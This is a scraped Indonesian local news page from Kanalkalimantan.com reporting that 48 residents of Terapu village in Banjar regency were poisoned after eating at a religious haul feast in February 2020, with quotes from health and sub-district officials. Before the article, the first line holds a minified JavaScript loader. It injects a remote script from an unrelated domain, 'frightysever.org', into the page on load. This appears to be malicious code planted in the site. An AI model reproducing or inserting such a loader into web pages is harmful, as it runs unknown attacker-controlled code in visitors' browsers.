(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Respon cepat dilakukan Dinas Kesehatan Kabupaten Banjar terkait kejadian keracunan massal di Desa Terapu, Kecamatan Aluh-aluh, Kabupaten Banjar, Kamis (13/2/2020) malam. Dinkes Kabupaten Banjar langsung mengirimkan obat-obatan beserta tim medis dan dua buah unit ambulans menuju Puskesmas Aluh-aluh guna menangani warga desa yang mengalami keracunan pasca menyantap makanan di acara keagamaan.
Update data terbaru yang didapat Kanalkalimantan.com dari Polsek Aluh-aluh menyebutkan ada 48 korban keracunan massal yang saat ini semuanya dirawat di Puskesmas Aluh-aluh.
Diduga keracunan masal ini terjadi setelah menyantap sajian makanan masak habang, di sebuah acara haul yang diadakan oleh salah seorang warga pada Kamis (13/2/2020) malam.
“Sekarang kita sudah menyiapkan 2 ambulans beserta tim medis dan obat-obatan menuju Puskesmas Aluh-aluh. Dua ambulans tambahan dari PMI juga diberangkatkan barengan dengan kita sebentar lagi,†kata Kepala Dinas Kesehatan Kabupaten Banjar dr Diauddin, dihubungi Kanalkalimantan.com sekitar pukul 21.30 Wita, Kamis (13/2/2020).
Ditanya kondisi korban keracunan saat ini, Diauddin mengatakan tidak ada tanda-tanda yang mengarah over kondisi, dimana semua pasien korban keracunan diprediksi bisa ditangani di Puskesmas Aluh-aluh. Sehingga untuk sementara ini tidak ada wacana untuk di rujuk ke RSUD terdekat untuk mendapatkan pertolongan lebih lanjut.
“Kita dengar hingga sekarang dilaporkan kondisi para korban masih bisa kita tangani sendiri di Puskesmas, sehingga untuk sementara ini masih tidak ada wacana untuk dirujuk ke RSUD terdekat,†pungkasnya.
Baca juga: BREAKING NEWS: Usai Santap Makanan, 45 Warga Aluh-aluh Diduga Keracunan
Sebelumnya diberitakan, sedikitnya 45 orang warga di Desa Terapu, Kecamatan Aluh-aluh, Kabupaten Banjar keracunan, setelah menyantap sajian makanan masak habang, di sebuah acara keagamaan yang digelar seorang warga, Kamis (13/2/2020).
“Iya memang benar hingga sekarang sudah kita data sebanyak 45 orang yang mengalami gejala keracunan ini, mereka mulai pusing dan mual ketika menyantap sajian di acara haul di rumah Alimansyah warga Desa Terapu,†ujar Camat Aluh-aluh Syaifullah Effendy kepada Kanalkalimantan.com, dihubungi sekitar pukul 20.00 Wita, Kamis (13/2/2020) malam.
Kepada Kanalkalimantan.com, Syaifullah menyebutkan, semua warga yang keracunan makanan itu berasal dari RT 03 Desa Terapu. Pihaknya akan terus mendata kalau ada kemungkinan korban yang akan terus bertambah. Para korban saat ini sudah dilarikan ke Puskesmas terdekat dengan menggunakan unit bantuan dari tim rescue gabungan dan Pemerintah Kabupaten Banjar dibantu Polsek Aluh-aluh. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.